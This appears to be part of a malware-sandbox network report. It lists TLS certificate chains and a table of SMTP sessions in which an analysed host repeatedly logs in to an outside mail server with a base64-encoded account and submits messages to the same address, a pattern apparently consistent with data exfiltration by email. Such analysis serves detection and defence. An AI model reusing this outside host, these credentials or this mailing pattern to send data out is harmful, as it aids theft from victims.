Mar 3, 2021 07:33:48.789346933 CET	13.225.80.63	443	192.168.2.4	49805	CN=*.liverpoolfc.com CN=Amazon, OU=Server CA 1B, O=Amazon, C=US CN=Amazon Root CA 1, O=Amazon, C=US CN=Starfield Services Root Certificate Authority - G2, O="Starfield Technologies, Inc.", L=Scottsdale, ST=Arizona, C=US	CN=Amazon, OU=Server CA 1B, O=Amazon, C=US CN=Amazon Root CA 1, O=Amazon, C=US CN=Starfield Services Root Certificate Authority - G2, O="Starfield Technologies, Inc.", L=Scottsdale, ST=Arizona, C=US OU=Starfield Class 2 Certification Authority, O="Starfield Technologies, Inc.", C=US	Fri Feb 12 01:00:00 CET 2021 Thu Oct 22 02:00:00 CEST 2015 Mon May 25 14:00:00 CEST 2015 Wed Sep 02 02:00:00 CEST 2009	Mon Mar 14 00:59:59 CET 2022 Sun Oct 19 02:00:00 CEST 2025 Thu Dec 31 02:00:00 CET 2037 Wed Jun 28 19:39:16 CEST 2034	769,49162-49161-49172-49171-53-47-10,0-10-11-35-23-65281,29-23-24,0	54328bd36c14bd82ddaa0c04b25ed9ad
					CN=Amazon, OU=Server CA 1B, O=Amazon, C=US	CN=Amazon Root CA 1, O=Amazon, C=US	Thu Oct 22 02:00:00 CEST 2015	Sun Oct 19 02:00:00 CEST 2025
					CN=Amazon Root CA 1, O=Amazon, C=US	CN=Starfield Services Root Certificate Authority - G2, O="Starfield Technologies, Inc.", L=Scottsdale, ST=Arizona, C=US	Mon May 25 14:00:00 CEST 2015	Thu Dec 31 02:00:00 CET 2037
					CN=Starfield Services Root Certificate Authority - G2, O="Starfield Technologies, Inc.", L=Scottsdale, ST=Arizona, C=US	OU=Starfield Class 2 Certification Authority, O="Starfield Technologies, Inc.", C=US	Wed Sep 02 02:00:00 CEST 2009	Wed Jun 28 19:39:16 CEST 2034
Mar 3, 2021 07:34:24.489475965 CET	104.21.19.200	443	192.168.2.4	49822	CN=sni.cloudflaressl.com, O="Cloudflare, Inc.", L=San Francisco, ST=CA, C=US CN=Cloudflare Inc ECC CA-3, O="Cloudflare, Inc.", C=US	CN=Cloudflare Inc ECC CA-3, O="Cloudflare, Inc.", C=US CN=Baltimore CyberTrust Root, OU=CyberTrust, O=Baltimore, C=IE	Mon Aug 10 02:00:00 CEST 2020 Mon Jan 27 13:48:08 CET 2020	Tue Aug 10 14:00:00 CEST 2021 Wed Jan 01 00:59:59 CET 2025	769,49162-49161-49172-49171-53-47-10,0-10-11-35-23-65281,29-23-24,0	54328bd36c14bd82ddaa0c04b25ed9ad
Mar 3, 2021 07:34:24.489475965 CET	104.21.19.200	443	192.168.2.4	49822	CN=Cloudflare Inc ECC CA-3, O="Cloudflare, Inc.", C=US	CN=Baltimore CyberTrust Root, OU=CyberTrust, O=Baltimore, C=IE	Mon Jan 27 13:48:08 CET 2020	Wed Jan 01 00:59:59 CET 2025		54328bd36c14bd82ddaa0c04b25ed9ad
Mar 3, 2021 07:34:29.940459967 CET	104.21.19.200	443	192.168.2.4	49827	CN=sni.cloudflaressl.com, O="Cloudflare, Inc.", L=San Francisco, ST=CA, C=US CN=Cloudflare Inc ECC CA-3, O="Cloudflare, Inc.", C=US	CN=Cloudflare Inc ECC CA-3, O="Cloudflare, Inc.", C=US CN=Baltimore CyberTrust Root, OU=CyberTrust, O=Baltimore, C=IE	Mon Aug 10 02:00:00 CEST 2020 Mon Jan 27 13:48:08 CET 2020	Tue Aug 10 14:00:00 CEST 2021 Wed Jan 01 00:59:59 CET 2025	769,49162-49161-49172-49171-53-47-10,0-10-11-35-23-65281,29-23-24,0	54328bd36c14bd82ddaa0c04b25ed9ad
Mar 3, 2021 07:34:29.940459967 CET	104.21.19.200	443	192.168.2.4	49827	CN=Cloudflare Inc ECC CA-3, O="Cloudflare, Inc.", C=US	CN=Baltimore CyberTrust Root, OU=CyberTrust, O=Baltimore, C=IE	Mon Jan 27 13:48:08 CET 2020	Wed Jan 01 00:59:59 CET 2025		54328bd36c14bd82ddaa0c04b25ed9ad

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Mar 3, 2021 07:33:40.219635010 CET	587	49788	35.208.150.174	192.168.2.4	220-c13423.sgvps.net ESMTP #5 Wed, 03 Mar 2021 08:33:57 +0200 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Mar 3, 2021 07:33:40.220118999 CET	49788	587	192.168.2.4	35.208.150.174	EHLO 841675
Mar 3, 2021 07:33:40.372986078 CET	587	49788	35.208.150.174	192.168.2.4	250-c13423.sgvps.net Hello 841675 [84.17.52.78] 250-SIZE 52428800 250-8BITMIME 250-DSN 250-VRFY 250-AUTH LOGIN PLAIN 250-STARTTLS 250 HELP
Mar 3, 2021 07:33:40.375245094 CET	49788	587	192.168.2.4	35.208.150.174	AUTH login dGVzdEBsb290YWhwZXJmdW1lcy5jb20=
Mar 3, 2021 07:33:40.528537035 CET	587	49788	35.208.150.174	192.168.2.4	334 UGFzc3dvcmQ6
Mar 3, 2021 07:33:40.690542936 CET	587	49788	35.208.150.174	192.168.2.4	235 Authentication succeeded
Mar 3, 2021 07:33:40.691703081 CET	49788	587	192.168.2.4	35.208.150.174	MAIL FROM:<test@lootahperfumes.com>
Mar 3, 2021 07:33:40.846226931 CET	587	49788	35.208.150.174	192.168.2.4	250 OK
Mar 3, 2021 07:33:40.846537113 CET	49788	587	192.168.2.4	35.208.150.174	RCPT TO:<test@lootahperfumes.com>
Mar 3, 2021 07:33:41.005481958 CET	587	49788	35.208.150.174	192.168.2.4	250 Accepted
Mar 3, 2021 07:33:41.005808115 CET	49788	587	192.168.2.4	35.208.150.174	DATA
Mar 3, 2021 07:33:41.158626080 CET	587	49788	35.208.150.174	192.168.2.4	354 Enter message, ending with "." on a line by itself
Mar 3, 2021 07:33:41.213670969 CET	49788	587	192.168.2.4	35.208.150.174	.
Mar 3, 2021 07:33:41.375839949 CET	587	49788	35.208.150.174	192.168.2.4	250 OK id=1lHL54-000HXE-IL
Mar 3, 2021 07:33:41.458961010 CET	49788	587	192.168.2.4	35.208.150.174	QUIT
Mar 3, 2021 07:33:41.612260103 CET	587	49788	35.208.150.174	192.168.2.4	221 c13423.sgvps.net closing connection
Mar 3, 2021 07:33:45.391932011 CET	587	49791	35.208.150.174	192.168.2.4	220-c13423.sgvps.net ESMTP #5 Wed, 03 Mar 2021 08:34:02 +0200 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Mar 3, 2021 07:33:45.392215967 CET	49791	587	192.168.2.4	35.208.150.174	EHLO 841675
Mar 3, 2021 07:33:45.543183088 CET	587	49791	35.208.150.174	192.168.2.4	250-c13423.sgvps.net Hello 841675 [84.17.52.78] 250-SIZE 52428800 250-8BITMIME 250-DSN 250-VRFY 250-AUTH LOGIN PLAIN 250-STARTTLS 250 HELP
Mar 3, 2021 07:33:45.552745104 CET	49791	587	192.168.2.4	35.208.150.174	AUTH login dGVzdEBsb290YWhwZXJmdW1lcy5jb20=
Mar 3, 2021 07:33:45.706876993 CET	587	49791	35.208.150.174	192.168.2.4	334 UGFzc3dvcmQ6
Mar 3, 2021 07:33:45.866007090 CET	587	49791	35.208.150.174	192.168.2.4	235 Authentication succeeded
Mar 3, 2021 07:33:45.874752998 CET	49791	587	192.168.2.4	35.208.150.174	MAIL FROM:<test@lootahperfumes.com>
Mar 3, 2021 07:33:46.026101112 CET	587	49791	35.208.150.174	192.168.2.4	250 OK
Mar 3, 2021 07:33:46.026356936 CET	49791	587	192.168.2.4	35.208.150.174	RCPT TO:<test@lootahperfumes.com>
Mar 3, 2021 07:33:46.183347940 CET	587	49791	35.208.150.174	192.168.2.4	250 Accepted
Mar 3, 2021 07:33:46.183623075 CET	49791	587	192.168.2.4	35.208.150.174	DATA
Mar 3, 2021 07:33:46.334650040 CET	587	49791	35.208.150.174	192.168.2.4	354 Enter message, ending with "." on a line by itself
Mar 3, 2021 07:33:46.354779959 CET	49791	587	192.168.2.4	35.208.150.174	.
Mar 3, 2021 07:33:46.513128996 CET	587	49791	35.208.150.174	192.168.2.4	250 OK id=1lHL59-000HXS-O4
Mar 3, 2021 07:33:46.851970911 CET	49791	587	192.168.2.4	35.208.150.174	QUIT
Mar 3, 2021 07:33:47.003142118 CET	587	49791	35.208.150.174	192.168.2.4	221 c13423.sgvps.net closing connection
Mar 3, 2021 07:33:48.241885900 CET	587	49798	35.208.150.174	192.168.2.4	220-c13423.sgvps.net ESMTP #5 Wed, 03 Mar 2021 08:34:05 +0200 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Mar 3, 2021 07:33:48.243057966 CET	49798	587	192.168.2.4	35.208.150.174	EHLO 841675
Mar 3, 2021 07:33:48.394371033 CET	587	49798	35.208.150.174	192.168.2.4	250-c13423.sgvps.net Hello 841675 [84.17.52.78] 250-SIZE 52428800 250-8BITMIME 250-DSN 250-VRFY 250-AUTH LOGIN PLAIN 250-STARTTLS 250 HELP
Mar 3, 2021 07:33:48.407233953 CET	49798	587	192.168.2.4	35.208.150.174	AUTH login dGVzdEBsb290YWhwZXJmdW1lcy5jb20=
Mar 3, 2021 07:33:48.559633970 CET	587	49798	35.208.150.174	192.168.2.4	334 UGFzc3dvcmQ6
Mar 3, 2021 07:33:48.724400997 CET	587	49798	35.208.150.174	192.168.2.4	235 Authentication succeeded
Mar 3, 2021 07:33:48.724643946 CET	49798	587	192.168.2.4	35.208.150.174	MAIL FROM:<test@lootahperfumes.com>
Mar 3, 2021 07:33:48.878544092 CET	587	49798	35.208.150.174	192.168.2.4	250 OK
Mar 3, 2021 07:33:48.878915071 CET	49798	587	192.168.2.4	35.208.150.174	RCPT TO:<test@lootahperfumes.com>
Mar 3, 2021 07:33:49.039048910 CET	587	49798	35.208.150.174	192.168.2.4	250 Accepted
Mar 3, 2021 07:33:49.040091991 CET	49798	587	192.168.2.4	35.208.150.174	DATA
Mar 3, 2021 07:33:49.193088055 CET	587	49798	35.208.150.174	192.168.2.4	354 Enter message, ending with "." on a line by itself
Mar 3, 2021 07:33:49.199383020 CET	49798	587	192.168.2.4	35.208.150.174	.
Mar 3, 2021 07:33:49.357824087 CET	587	49798	35.208.150.174	192.168.2.4	250 OK id=1lHL5C-000HXY-JV
Mar 3, 2021 07:33:49.390496016 CET	49798	587	192.168.2.4	35.208.150.174	QUIT
Mar 3, 2021 07:33:49.542005062 CET	587	49798	35.208.150.174	192.168.2.4	221 c13423.sgvps.net closing connection
Mar 3, 2021 07:33:51.723710060 CET	587	49808	35.208.150.174	192.168.2.4	220-c13423.sgvps.net ESMTP #5 Wed, 03 Mar 2021 08:34:09 +0200 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Mar 3, 2021 07:33:51.725435972 CET	49808	587	192.168.2.4	35.208.150.174	EHLO 841675
Mar 3, 2021 07:33:51.876915932 CET	587	49808	35.208.150.174	192.168.2.4	250-c13423.sgvps.net Hello 841675 [84.17.52.78] 250-SIZE 52428800 250-8BITMIME 250-DSN 250-VRFY 250-AUTH LOGIN PLAIN 250-STARTTLS 250 HELP
Mar 3, 2021 07:33:51.877439022 CET	49808	587	192.168.2.4	35.208.150.174	AUTH login dGVzdEBsb290YWhwZXJmdW1lcy5jb20=
Mar 3, 2021 07:33:52.028554916 CET	587	49808	35.208.150.174	192.168.2.4	334 UGFzc3dvcmQ6
Mar 3, 2021 07:33:52.188854933 CET	587	49808	35.208.150.174	192.168.2.4	235 Authentication succeeded
Mar 3, 2021 07:33:52.189630032 CET	49808	587	192.168.2.4	35.208.150.174	MAIL FROM:<test@lootahperfumes.com>
Mar 3, 2021 07:33:52.342277050 CET	587	49808	35.208.150.174	192.168.2.4	250 OK
Mar 3, 2021 07:33:52.345406055 CET	49808	587	192.168.2.4	35.208.150.174	RCPT TO:<test@lootahperfumes.com>
Mar 3, 2021 07:33:52.501851082 CET	587	49808	35.208.150.174	192.168.2.4	250 Accepted
Mar 3, 2021 07:33:52.506437063 CET	49808	587	192.168.2.4	35.208.150.174	DATA
Mar 3, 2021 07:33:52.659423113 CET	587	49808	35.208.150.174	192.168.2.4	354 Enter message, ending with "." on a line by itself
Mar 3, 2021 07:33:52.660497904 CET	49808	587	192.168.2.4	35.208.150.174	.
Mar 3, 2021 07:33:52.824013948 CET	587	49808	35.208.150.174	192.168.2.4	250 OK id=1lHL5G-000HXe-2I
Mar 3, 2021 07:33:52.825176001 CET	49808	587	192.168.2.4	35.208.150.174	QUIT
Mar 3, 2021 07:33:52.976212025 CET	587	49808	35.208.150.174	192.168.2.4	221 c13423.sgvps.net closing connection
Mar 3, 2021 07:33:55.326503038 CET	587	49809	35.208.150.174	192.168.2.4	220-c13423.sgvps.net ESMTP #5 Wed, 03 Mar 2021 08:34:12 +0200 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Mar 3, 2021 07:33:55.328696966 CET	49809	587	192.168.2.4	35.208.150.174	EHLO 841675
Mar 3, 2021 07:33:55.490483046 CET	587	49809	35.208.150.174	192.168.2.4	250-c13423.sgvps.net Hello 841675 [84.17.52.78] 250-SIZE 52428800 250-8BITMIME 250-DSN 250-VRFY 250-AUTH LOGIN PLAIN 250-STARTTLS 250 HELP
Mar 3, 2021 07:33:55.490732908 CET	49809	587	192.168.2.4	35.208.150.174	AUTH login dGVzdEBsb290YWhwZXJmdW1lcy5jb20=
Mar 3, 2021 07:33:55.655277967 CET	587	49809	35.208.150.174	192.168.2.4	334 UGFzc3dvcmQ6
Mar 3, 2021 07:33:55.825504065 CET	587	49809	35.208.150.174	192.168.2.4	235 Authentication succeeded
Mar 3, 2021 07:33:55.831644058 CET	49809	587	192.168.2.4	35.208.150.174	MAIL FROM:<test@lootahperfumes.com>
Mar 3, 2021 07:33:55.993902922 CET	587	49809	35.208.150.174	192.168.2.4	250 OK
Mar 3, 2021 07:33:55.994978905 CET	49809	587	192.168.2.4	35.208.150.174	RCPT TO:<test@lootahperfumes.com>
Mar 3, 2021 07:33:56.162513971 CET	587	49809	35.208.150.174	192.168.2.4	250 Accepted
Mar 3, 2021 07:33:56.163408041 CET	49809	587	192.168.2.4	35.208.150.174	DATA
Mar 3, 2021 07:33:56.325237036 CET	587	49809	35.208.150.174	192.168.2.4	354 Enter message, ending with "." on a line by itself
Mar 3, 2021 07:33:56.326677084 CET	49809	587	192.168.2.4	35.208.150.174	.
Mar 3, 2021 07:33:56.496062040 CET	587	49809	35.208.150.174	192.168.2.4	250 OK id=1lHL5J-000HXm-NR
Mar 3, 2021 07:33:56.497358084 CET	49809	587	192.168.2.4	35.208.150.174	QUIT
Mar 3, 2021 07:33:56.659359932 CET	587	49809	35.208.150.174	192.168.2.4	221 c13423.sgvps.net closing connection
Mar 3, 2021 07:33:59.255852938 CET	587	49810	35.208.150.174	192.168.2.4	220-c13423.sgvps.net ESMTP #5 Wed, 03 Mar 2021 08:34:16 +0200 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Mar 3, 2021 07:33:59.256243944 CET	49810	587	192.168.2.4	35.208.150.174	EHLO 841675
Mar 3, 2021 07:33:59.417931080 CET	587	49810	35.208.150.174	192.168.2.4	250-c13423.sgvps.net Hello 841675 [84.17.52.78] 250-SIZE 52428800 250-8BITMIME 250-DSN 250-VRFY 250-AUTH LOGIN PLAIN 250-STARTTLS 250 HELP
Mar 3, 2021 07:33:59.418210030 CET	49810	587	192.168.2.4	35.208.150.174	AUTH login dGVzdEBsb290YWhwZXJmdW1lcy5jb20=
Mar 3, 2021 07:33:59.580246925 CET	587	49810	35.208.150.174	192.168.2.4	334 UGFzc3dvcmQ6
Mar 3, 2021 07:33:59.750304937 CET	587	49810	35.208.150.174	192.168.2.4	235 Authentication succeeded
Mar 3, 2021 07:33:59.750581980 CET	49810	587	192.168.2.4	35.208.150.174	MAIL FROM:<test@lootahperfumes.com>
Mar 3, 2021 07:33:59.912537098 CET	587	49810	35.208.150.174	192.168.2.4	250 OK
Mar 3, 2021 07:33:59.913201094 CET	49810	587	192.168.2.4	35.208.150.174	RCPT TO:<test@lootahperfumes.com>
Mar 3, 2021 07:34:00.079447031 CET	587	49810	35.208.150.174	192.168.2.4	250 Accepted
Mar 3, 2021 07:34:00.079711914 CET	49810	587	192.168.2.4	35.208.150.174	DATA
Mar 3, 2021 07:34:00.241318941 CET	587	49810	35.208.150.174	192.168.2.4	354 Enter message, ending with "." on a line by itself
Mar 3, 2021 07:34:00.243452072 CET	49810	587	192.168.2.4	35.208.150.174	.
Mar 3, 2021 07:34:00.413757086 CET	587	49810	35.208.150.174	192.168.2.4	250 OK id=1lHL5N-000HXz-Kj
Mar 3, 2021 07:34:00.414539099 CET	49810	587	192.168.2.4	35.208.150.174	QUIT
Mar 3, 2021 07:34:00.577533960 CET	587	49810	35.208.150.174	192.168.2.4	221 c13423.sgvps.net closing connection
Mar 3, 2021 07:34:03.026292086 CET	587	49811	35.208.150.174	192.168.2.4	220-c13423.sgvps.net ESMTP #5 Wed, 03 Mar 2021 08:34:20 +0200 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Mar 3, 2021 07:34:03.344254017 CET	49811	587	192.168.2.4	35.208.150.174	EHLO 841675
Mar 3, 2021 07:34:03.498713017 CET	587	49811	35.208.150.174	192.168.2.4	250-c13423.sgvps.net Hello 841675 [84.17.52.78] 250-SIZE 52428800 250-8BITMIME 250-DSN 250-VRFY 250-AUTH LOGIN PLAIN 250-STARTTLS 250 HELP
Mar 3, 2021 07:34:03.610084057 CET	49811	587	192.168.2.4	35.208.150.174	AUTH login dGVzdEBsb290YWhwZXJmdW1lcy5jb20=
Mar 3, 2021 07:34:03.762495995 CET	587	49811	35.208.150.174	192.168.2.4	334 UGFzc3dvcmQ6
Mar 3, 2021 07:34:03.922904015 CET	587	49811	35.208.150.174	192.168.2.4	235 Authentication succeeded
Mar 3, 2021 07:34:03.923194885 CET	49811	587	192.168.2.4	35.208.150.174	MAIL FROM:<test@lootahperfumes.com>
Mar 3, 2021 07:34:04.074753046 CET	587	49811	35.208.150.174	192.168.2.4	250 OK
Mar 3, 2021 07:34:04.075083017 CET	49811	587	192.168.2.4	35.208.150.174	RCPT TO:<test@lootahperfumes.com>
Mar 3, 2021 07:34:04.231607914 CET	587	49811	35.208.150.174	192.168.2.4	250 Accepted
Mar 3, 2021 07:34:04.231889963 CET	49811	587	192.168.2.4	35.208.150.174	DATA
Mar 3, 2021 07:34:04.383024931 CET	587	49811	35.208.150.174	192.168.2.4	354 Enter message, ending with "." on a line by itself
Mar 3, 2021 07:34:04.384512901 CET	49811	587	192.168.2.4	35.208.150.174	.
Mar 3, 2021 07:34:04.544709921 CET	587	49811	35.208.150.174	192.168.2.4	250 OK id=1lHL5R-000HYB-Pd
Mar 3, 2021 07:34:04.545773029 CET	49811	587	192.168.2.4	35.208.150.174	QUIT
Mar 3, 2021 07:34:04.697427034 CET	587	49811	35.208.150.174	192.168.2.4	221 c13423.sgvps.net closing connection
Mar 3, 2021 07:34:05.841732979 CET	587	49812	35.208.150.174	192.168.2.4	220-c13423.sgvps.net ESMTP #5 Wed, 03 Mar 2021 08:34:23 +0200 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Mar 3, 2021 07:34:05.844985008 CET	49812	587	192.168.2.4	35.208.150.174	EHLO 841675
Mar 3, 2021 07:34:05.997047901 CET	587	49812	35.208.150.174	192.168.2.4	250-c13423.sgvps.net Hello 841675 [84.17.52.78] 250-SIZE 52428800 250-8BITMIME 250-DSN 250-VRFY 250-AUTH LOGIN PLAIN 250-STARTTLS 250 HELP
Mar 3, 2021 07:34:05.997509003 CET	49812	587	192.168.2.4	35.208.150.174	AUTH login dGVzdEBsb290YWhwZXJmdW1lcy5jb20=
Mar 3, 2021 07:34:06.149279118 CET	587	49812	35.208.150.174	192.168.2.4	334 UGFzc3dvcmQ6
Mar 3, 2021 07:34:06.308707952 CET	587	49812	35.208.150.174	192.168.2.4	235 Authentication succeeded
Mar 3, 2021 07:34:06.309519053 CET	49812	587	192.168.2.4	35.208.150.174	MAIL FROM:<test@lootahperfumes.com>
Mar 3, 2021 07:34:06.461136103 CET	587	49812	35.208.150.174	192.168.2.4	250 OK
Mar 3, 2021 07:34:06.461707115 CET	49812	587	192.168.2.4	35.208.150.174	RCPT TO:<test@lootahperfumes.com>
Mar 3, 2021 07:34:06.618681908 CET	587	49812	35.208.150.174	192.168.2.4	250 Accepted
Mar 3, 2021 07:34:06.618973970 CET	49812	587	192.168.2.4	35.208.150.174	DATA
Mar 3, 2021 07:34:06.771924019 CET	587	49812	35.208.150.174	192.168.2.4	354 Enter message, ending with "." on a line by itself
Mar 3, 2021 07:34:06.773595095 CET	49812	587	192.168.2.4	35.208.150.174	.
Mar 3, 2021 07:34:06.946682930 CET	587	49812	35.208.150.174	192.168.2.4	250 OK id=1lHL5U-000HYJ-5v
Mar 3, 2021 07:34:06.947710037 CET	49812	587	192.168.2.4	35.208.150.174	QUIT
Mar 3, 2021 07:34:07.102009058 CET	587	49812	35.208.150.174	192.168.2.4	221 c13423.sgvps.net closing connection
Mar 3, 2021 07:34:08.529918909 CET	587	49813	35.208.150.174	192.168.2.4	220-c13423.sgvps.net ESMTP #5 Wed, 03 Mar 2021 08:34:25 +0200 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Mar 3, 2021 07:34:08.530133009 CET	49813	587	192.168.2.4	35.208.150.174	EHLO 841675
Mar 3, 2021 07:34:08.681724072 CET	587	49813	35.208.150.174	192.168.2.4	250-c13423.sgvps.net Hello 841675 [84.17.52.78] 250-SIZE 52428800 250-8BITMIME 250-DSN 250-VRFY 250-AUTH LOGIN PLAIN 250-STARTTLS 250 HELP
Mar 3, 2021 07:34:08.681991100 CET	49813	587	192.168.2.4	35.208.150.174	AUTH login dGVzdEBsb290YWhwZXJmdW1lcy5jb20=
Mar 3, 2021 07:34:08.833539009 CET	587	49813	35.208.150.174	192.168.2.4	334 UGFzc3dvcmQ6
Mar 3, 2021 07:34:09.008162975 CET	587	49813	35.208.150.174	192.168.2.4	235 Authentication succeeded
Mar 3, 2021 07:34:09.008469105 CET	49813	587	192.168.2.4	35.208.150.174	MAIL FROM:<test@lootahperfumes.com>
Mar 3, 2021 07:34:09.165213108 CET	587	49813	35.208.150.174	192.168.2.4	250 OK
Mar 3, 2021 07:34:09.165471077 CET	49813	587	192.168.2.4	35.208.150.174	RCPT TO:<test@lootahperfumes.com>
Mar 3, 2021 07:34:09.323617935 CET	587	49813	35.208.150.174	192.168.2.4	250 Accepted
Mar 3, 2021 07:34:09.323957920 CET	49813	587	192.168.2.4	35.208.150.174	DATA
Mar 3, 2021 07:34:09.475148916 CET	587	49813	35.208.150.174	192.168.2.4	354 Enter message, ending with "." on a line by itself
Mar 3, 2021 07:34:09.476319075 CET	49813	587	192.168.2.4	35.208.150.174	.
Mar 3, 2021 07:34:09.635421038 CET	587	49813	35.208.150.174	192.168.2.4	250 OK id=1lHL5W-000HYP-Sb
Mar 3, 2021 07:34:09.638169050 CET	49813	587	192.168.2.4	35.208.150.174	QUIT
Mar 3, 2021 07:34:09.789577961 CET	587	49813	35.208.150.174	192.168.2.4	221 c13423.sgvps.net closing connection
Mar 3, 2021 07:34:11.737132072 CET	587	49814	35.208.150.174	192.168.2.4	220-c13423.sgvps.net ESMTP #5 Wed, 03 Mar 2021 08:34:29 +0200 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Mar 3, 2021 07:34:11.737426043 CET	49814	587	192.168.2.4	35.208.150.174	EHLO 841675
Mar 3, 2021 07:34:11.890079021 CET	587	49814	35.208.150.174	192.168.2.4	250-c13423.sgvps.net Hello 841675 [84.17.52.78] 250-SIZE 52428800 250-8BITMIME 250-DSN 250-VRFY 250-AUTH LOGIN PLAIN 250-STARTTLS 250 HELP
Mar 3, 2021 07:34:11.890350103 CET	49814	587	192.168.2.4	35.208.150.174	AUTH login dGVzdEBsb290YWhwZXJmdW1lcy5jb20=
Mar 3, 2021 07:34:12.043061018 CET	587	49814	35.208.150.174	192.168.2.4	334 UGFzc3dvcmQ6
Mar 3, 2021 07:34:12.205102921 CET	587	49814	35.208.150.174	192.168.2.4	235 Authentication succeeded
Mar 3, 2021 07:34:12.205538988 CET	49814	587	192.168.2.4	35.208.150.174	MAIL FROM:<test@lootahperfumes.com>
Mar 3, 2021 07:34:12.358747005 CET	587	49814	35.208.150.174	192.168.2.4	250 OK
Mar 3, 2021 07:34:12.359246016 CET	49814	587	192.168.2.4	35.208.150.174	RCPT TO:<test@lootahperfumes.com>
Mar 3, 2021 07:34:12.515753984 CET	587	49814	35.208.150.174	192.168.2.4	250 Accepted
Mar 3, 2021 07:34:12.516021967 CET	49814	587	192.168.2.4	35.208.150.174	DATA
Mar 3, 2021 07:34:12.667702913 CET	587	49814	35.208.150.174	192.168.2.4	354 Enter message, ending with "." on a line by itself
Mar 3, 2021 07:34:12.679205894 CET	49814	587	192.168.2.4	35.208.150.174	.
Mar 3, 2021 07:34:12.839140892 CET	587	49814	35.208.150.174	192.168.2.4	250 OK id=1lHL5a-000HYV-2Z
Mar 3, 2021 07:34:12.840029955 CET	49814	587	192.168.2.4	35.208.150.174	QUIT
Mar 3, 2021 07:34:12.991816044 CET	587	49814	35.208.150.174	192.168.2.4	221 c13423.sgvps.net closing connection
Mar 3, 2021 07:34:15.737430096 CET	587	49816	35.208.150.174	192.168.2.4	220-c13423.sgvps.net ESMTP #5 Wed, 03 Mar 2021 08:34:33 +0200 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Mar 3, 2021 07:34:15.738070965 CET	49816	587	192.168.2.4	35.208.150.174	EHLO 841675
Mar 3, 2021 07:34:15.900264978 CET	587	49816	35.208.150.174	192.168.2.4	250-c13423.sgvps.net Hello 841675 [84.17.52.78] 250-SIZE 52428800 250-8BITMIME 250-DSN 250-VRFY 250-AUTH LOGIN PLAIN 250-STARTTLS 250 HELP
Mar 3, 2021 07:34:15.900620937 CET	49816	587	192.168.2.4	35.208.150.174	AUTH login dGVzdEBsb290YWhwZXJmdW1lcy5jb20=
Mar 3, 2021 07:34:16.063126087 CET	587	49816	35.208.150.174	192.168.2.4	334 UGFzc3dvcmQ6
Mar 3, 2021 07:34:16.233282089 CET	587	49816	35.208.150.174	192.168.2.4	235 Authentication succeeded
Mar 3, 2021 07:34:16.233608007 CET	49816	587	192.168.2.4	35.208.150.174	MAIL FROM:<test@lootahperfumes.com>
Mar 3, 2021 07:34:16.395905972 CET	587	49816	35.208.150.174	192.168.2.4	250 OK
Mar 3, 2021 07:34:16.396229982 CET	49816	587	192.168.2.4	35.208.150.174	RCPT TO:<test@lootahperfumes.com>
Mar 3, 2021 07:34:16.562861919 CET	587	49816	35.208.150.174	192.168.2.4	250 Accepted
Mar 3, 2021 07:34:16.563129902 CET	49816	587	192.168.2.4	35.208.150.174	DATA
Mar 3, 2021 07:34:16.725641966 CET	587	49816	35.208.150.174	192.168.2.4	354 Enter message, ending with "." on a line by itself
Mar 3, 2021 07:34:16.728346109 CET	49816	587	192.168.2.4	35.208.150.174	.
Mar 3, 2021 07:34:16.899852037 CET	587	49816	35.208.150.174	192.168.2.4	250 OK id=1lHL5e-000HYb-46
Mar 3, 2021 07:34:16.900862932 CET	49816	587	192.168.2.4	35.208.150.174	QUIT
Mar 3, 2021 07:34:17.063102961 CET	587	49816	35.208.150.174	192.168.2.4	221 c13423.sgvps.net closing connection
Mar 3, 2021 07:34:19.868303061 CET	587	49818	35.208.150.174	192.168.2.4	220-c13423.sgvps.net ESMTP #5 Wed, 03 Mar 2021 08:34:37 +0200 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Mar 3, 2021 07:34:19.868602991 CET	49818	587	192.168.2.4	35.208.150.174	EHLO 841675
Mar 3, 2021 07:34:20.020380020 CET	587	49818	35.208.150.174	192.168.2.4	250-c13423.sgvps.net Hello 841675 [84.17.52.78] 250-SIZE 52428800 250-8BITMIME 250-DSN 250-VRFY 250-AUTH LOGIN PLAIN 250-STARTTLS 250 HELP
Mar 3, 2021 07:34:20.020726919 CET	49818	587	192.168.2.4	35.208.150.174	AUTH login dGVzdEBsb290YWhwZXJmdW1lcy5jb20=
Mar 3, 2021 07:34:20.172240973 CET	587	49818	35.208.150.174	192.168.2.4	334 UGFzc3dvcmQ6
Mar 3, 2021 07:34:20.331669092 CET	587	49818	35.208.150.174	192.168.2.4	235 Authentication succeeded
Mar 3, 2021 07:34:20.331954956 CET	49818	587	192.168.2.4	35.208.150.174	MAIL FROM:<test@lootahperfumes.com>
Mar 3, 2021 07:34:20.483493090 CET	587	49818	35.208.150.174	192.168.2.4	250 OK
Mar 3, 2021 07:34:20.483836889 CET	49818	587	192.168.2.4	35.208.150.174	RCPT TO:<test@lootahperfumes.com>
Mar 3, 2021 07:34:20.639866114 CET	587	49818	35.208.150.174	192.168.2.4	250 Accepted
Mar 3, 2021 07:34:20.640384912 CET	49818	587	192.168.2.4	35.208.150.174	DATA
Mar 3, 2021 07:34:20.793545008 CET	587	49818	35.208.150.174	192.168.2.4	354 Enter message, ending with "." on a line by itself
Mar 3, 2021 07:34:20.797615051 CET	49818	587	192.168.2.4	35.208.150.174	.
Mar 3, 2021 07:34:20.956868887 CET	587	49818	35.208.150.174	192.168.2.4	250 OK id=1lHL5i-000HYj-6c
Mar 3, 2021 07:34:20.959911108 CET	49818	587	192.168.2.4	35.208.150.174	QUIT
Mar 3, 2021 07:34:21.111433983 CET	587	49818	35.208.150.174	192.168.2.4	221 c13423.sgvps.net closing connection
